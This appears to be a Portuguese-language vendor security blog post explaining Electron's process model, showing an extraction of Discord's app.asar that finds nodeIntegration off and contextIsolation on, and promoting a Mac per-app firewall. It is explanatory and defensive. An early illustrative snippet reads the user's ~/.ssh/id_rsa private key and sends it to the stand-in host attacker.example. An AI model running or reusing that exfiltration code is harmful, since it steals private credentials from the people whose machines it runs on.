O blog de segurança da FireAI

Por FireAI Security & Research Team · Publicado

O que realmente há dentro dos seus aplicativos Electron? Nós extraímos um para descobrir

O que realmente há dentro dos seus aplicativos Electron? Nós extraímos um para descobrir

O Electron combina o motor de renderização Chromium com o runtime Node.js para que uma única base de código JavaScript possa ser distribuída como aplicativo de desktop no macOS, no Windows e no Linux. Slack, Discord, Notion e muitos outros são construídos assim, e por anos o Microsoft Teams também foi. A conveniência é real. Uma consequência que vale a pena entender também é real: um aplicativo Electron não é um único processo com um único nível de privilégio, e seu código-fonte empacotado não é difícil de ler.

Dois processos, dois níveis de privilégio

Todo aplicativo Electron tem um processo Main, que roda o Node.js completo com acesso normal do sistema operacional a arquivos e rede, e um ou mais processos Renderer, que exibem conteúdo web em um contexto Chromium. A própria documentação de segurança do Electron é explícita sobre o risco de borrar essa linha: "é fundamental que você não habilite a integração com o Node.js em nenhum renderer que carregue conteúdo remoto", porque fazer isso remove a barreira entre uma página web e o sistema operacional. A correção que ela propõe não é "confie no conteúdo em vez disso", mas arquitetural: manter o acesso ao Node fora do renderer e expor a ele apenas uma API deliberadamente estreita por meio de um script de preload e da API contextBridge, com o isolamento de contexto ativado.

Ilustrativo: o que a integração com o Node em um renderer comprometido pode fazer
// If nodeIntegration were on and an attacker's script ran in this renderer:
const fs = require('fs')
const https = require('https')

const key = fs.readFileSync(`${process.env.HOME}/.ssh/id_rsa`, 'utf8')
const req = https.request({ hostname: 'attacker.example', path: '/collect', method: 'POST' })
req.end(key)

O arquivo não é segredo: extraindo um app real

A maioria dos aplicativos Electron distribui seu JavaScript e HTML dentro de um arquivo app.asar. A própria documentação do Electron é direta sobre a finalidade desse formato: "os arquivos são somente leitura" e empacotar tudo em um único arquivo tem o objetivo de "ocultar seu código-fonte de uma inspeção superficial" — palavras da própria documentação, não uma alegação externa —, enquanto afirma claramente em outro trecho que o ASAR não oferece nenhuma criptografia. Para verificar o que isso significa na prática, extraímos a cópia real e atualmente instalada do Discord para macOS (build 0.0.294) nesta máquina, usando o próprio empacotador mantido pelo Electron.

Terminal
npm install -g @electron/asar
asar extract "/Applications/Discord.app/Contents/Resources/app.asar" ./discord_src
find ./discord_src -type f | wc -l
1056

Um único comando produziu 1.056 arquivos em texto simples: JavaScript legível, package.json e a própria estrutura de módulos do Discord, exatamente como a documentação do Electron diz que vai acontecer. Nenhuma descompilação, nenhuma engenharia reversa, nenhuma senha. Isso não é uma falha do Discord; é assim que o formato ASAR funciona para todo aplicativo Electron, por design.

O que uma extração real mostra sobre o comportamento de rede

Com o código-fonte em texto simples, tanto a revisão de segurança quanto a busca se tornam triviais. Buscamos nos arquivos extraídos duas coisas: quais webPreferences o Discord de fato define, e quais nomes de host aparecem em seu próprio código (excluindo os node_modules de terceiros).

Terminal, resultados da extração real acima
grep -rn "nodeIntegration\|contextIsolation" --exclude-dir=node_modules .
app_bootstrap/splashScreen.js:376:      nodeIntegration: false,
app_bootstrap/splashScreen.js:379:      contextIsolation: true,

grep -rhoE "https?://[A-Za-z0-9._-]+\.[A-Za-z]{2,}" --exclude-dir=node_modules . | sed -E 's#https?://##' | sort | uniq -c | sort -rn | head
  12 www.w3.org
   3 twitter.com
   3 discord.com
   2 github.com
   1 updates.discord.com
   1 reactjs.org

Para sermos justos com o aplicativo específico testado: a janela de tela de abertura do Discord segue exatamente as recomendações de reforço de segurança do Electron, com nodeIntegration: false e contextIsolation: true. Vale dizer isso com clareza em vez de deixar passar. O ponto aqui não é que o Discord é inseguro; é que conseguimos verificar, em minutos, em qualquer aplicativo Electron, porque o formato do arquivo não esconde nada. A maioria das pessoas que instala um aplicativo Electron nunca verifica isso, e a maioria das ferramentas estáticas de endpoint também não.

Por que um firewall baseado em confiança no binário não ajuda aqui

Nenhum dos nomes de host acima é secreto ou surpreendente para um aplicativo de chat acessar, e é exatamente esse o problema para a defesa em nível de rede. Um firewall que decide pela assinatura de código vê apenas uma coisa: um binário notarizado e assinado pela Apple fazendo requisições HTTPS comuns na porta 443. Ele não tem como distinguir uma chamada de API legítima, um SDK de análise empacotado e, em um renderer genuinamente comprometido, uma tentativa de exfiltração. Os três parecem o mesmo processo confiável conversando com a internet, porque são o mesmo processo.

  • Julgar um aplicativo Electron pela sua assinatura de código não diz nada sobre quais das suas muitas dependências empacotadas estão fazendo quais conexões.
  • Como o código-fonte é JavaScript simples dentro de um arquivo sem criptografia, auditar o que um aplicativo consegue alcançar é realista, não teórico, para qualquer pessoa disposta a rodar asar extract.
  • O único controle que não depende de confiar no binário é a política de rede por processo e por destino: decidir, no próprio socket, o que um determinado aplicativo tem permissão para alcançar.

Onde FireAI e HisnLabs entram nessa história

A signed Electron binary and a hidden telemetry SDK inside it look identical to a firewall that only checks the code signature; FireAI checks the connection itself, per app, so you can see and deny what any of your Electron apps are actually reaching, not just trust that they are Apple-notarized.

O FireAI é o produto da HisnLabs: um firewall com IA que roda direto no seu Mac. Ele mostra, em linguagem simples, cada conexão que seus aplicativos fazem e deixa você decidir o que sai do seu Mac — a IA roda localmente, então seu tráfego nunca é enviado para nós nem para ninguém. A equipe de pesquisa em segurança da HisnLabs é quem mantém essas decisões confiáveis: cataloga quais domínios são telemetria comum e quais são um serviço de verdade, rastreia o país e a rede por trás de uma conexão e treina o modelo local (o recurso Autopilot) com padrões reais de tráfego, sem que nada disso saia do seu Mac.

Você pode ler as decisões técnicas por trás dele, ou testar o FireAI por 17 dias, em FireAI, da HisnLabs.

Fontes